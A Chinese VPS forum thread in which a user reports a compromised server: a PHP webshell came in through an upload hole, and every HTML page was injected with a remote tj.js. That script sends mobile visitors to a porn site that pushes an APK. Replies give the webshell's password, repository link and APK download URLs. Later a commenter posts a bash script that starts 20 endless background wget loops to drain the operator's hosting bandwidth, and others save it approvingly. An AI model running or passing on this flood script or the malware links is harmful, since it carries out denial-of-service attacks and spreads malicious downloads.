吃灰小鸡被挂马文件找到了大佬看下这个文件能干啥

laon 6天前 9

https://paste.ubuntu.com/p/Hy886CZQC7/

PHP文件的木马
小鸡上网站所有HTML文件都被加上了一句加载JS的代码

https://m.yymhs.cc/tj.js

上一篇：raksmart精品网15M测速，貌似联通很慢

下一篇：teambition好像被限速了？

最新回复 (22)

yxmss 6天前

引用 2楼

大马
密码应该是：yzddmr6
开源地址：https://github.com/AYZRxx1/BestShell
楼主 laon 6天前

引用 3楼

yxmss 发表于 2021-1-13 19:07
大马
密码应该是：yzddmr6
给我跳H网了，H网还用的阿里云CDN，我在剑皇了
主菜单 6天前

引用 4楼

root密码被爆破了么，还是前端程序漏洞？
yxmss 6天前

引用 5楼

laon 发表于 2021-1-13 19:19
给我跳H网了，H网还用的阿里云CDN，我在剑皇了
那个js代码的作用是判断移动端设备跳转到http://1pvwjv1p.0avr4s.cn（PC端打不开，移动打开以后是H网）
楼主 laon 6天前

引用 6楼

主菜单发表于 2021-1-13 19:23
root密码被爆破了么，还是前端程序漏洞？
是前端程序的漏洞，我看到是通过一个文件上传漏洞上传的
ymh1147 6天前

引用 7楼

这个不是XX视频嘛，中招的还挺多
楼主 laon 6天前

引用 8楼

yxmss 发表于 2021-1-13 19:23
那个js代码的作用是判断移动端设备跳转到http://1pvwjv1p.0avr4s.cn（PC端打不开，移动打开以后是H网） ...
感谢大佬解惑
yxmss 6天前

引用 9楼

laon 发表于 2021-1-13 19:25
感谢大佬解惑
它安装包下载地址，阿里云oss北京区的：http://apkpej86unv.oss-cn-beijing.aliyuncs.com/dy120_cmm.apk
楼主 laon 6天前

引用 10楼

yxmss 发表于 2021-1-13 19:29
它安装包下载地址，阿里云oss北京区的：http://apkpej86unv.oss-cn-beijing.aliyuncs.com/dy120_cmm.apk ...
谢谢大佬，OSS刷起来比CDN快多了
cxmiao 6天前

引用 11楼

就是一个的大马
jqbaobao 6天前

引用 12楼

yxmss 发表于 2021-1-13 19:23
那个js代码的作用是判断移动端设备跳转到http://1pvwjv1p.0avr4s.cn（PC端打不开，移动打开以后是H网） ...
那这个要怎么cc呢，换ua吗
【https://apkpej86unv.shzxfdc.com.cn//dy120_cmm.apk 】
楼主 laon 6天前

引用 13楼

jqbaobao 发表于 2021-1-13 19:56
那这个要怎么cc呢，换ua吗
【https://apkpej86unv.shzxfdc.com.cn//dy120_cmm.apk 】
他挂了CDN的，直接刷他的流量或者OSS
red233 6天前

引用 14楼

yxmss 发表于 2021-1-13 19:29
它安装包下载地址，阿里云oss北京区的：http://apkpej86unv.oss-cn-beijing.aliyuncs.com/dy120_cmm.apk ...
已经上鉴黄
三和大神 6天前

引用 15楼
echo "while [ 1 ]" > _ins.sh
echo "do" >> _ins.sh
echo "wget -q -t0 -O /dev/null https://apkpej86unv.oss-cn-beijing.aliyuncs.com/dy120_cmm.apk" >> _ins.sh
echo "done" >> _ins.sh
for i in `seq 1 20`
do
nohup bash _ins.sh > /dev/null 2>&1 &
echo "thread $i start!"
done
之前某位MJJ论坛发的剑皇Bash脚本
skysf 6天前

引用 16楼

三和大神发表于 2021-1-13 20:30
之前某位MJJ论坛发的剑皇Bash脚本
这玩意启动了咋停止啊
ddane 6天前

引用 17楼

三和大神发表于 2021-1-13 20:30
之前某位MJJ论坛发的剑皇Bash脚本
哈哈真贴心收藏了
Winter 5天前

引用 18楼

小鸡不行，20线程就爆CPU了
MSN 5天前

引用 19楼

laon 发表于 2021-1-13 04:19
给我跳H网了，H网还用的阿里云CDN，我在剑皇了
替我打500块钱的
Mrvps 5天前

引用 20楼

Winter 发表于 2021-1-14 13:53
小鸡不行，20线程就爆CPU了
这是嘛监控
Winter 5天前

引用 21楼

Mrvps 发表于 2021-1-14 14:19
这是嘛监控
FInalshell 挺好用的
奔跑吧蜗牛c 5天前

引用 22楼

Mrvps 发表于 2021-1-14 14:19
这是嘛监控
finalsheel自带的
chinayang 5天前

引用 23楼

牛批啊，听得我瑟瑟发抖
游客

24楼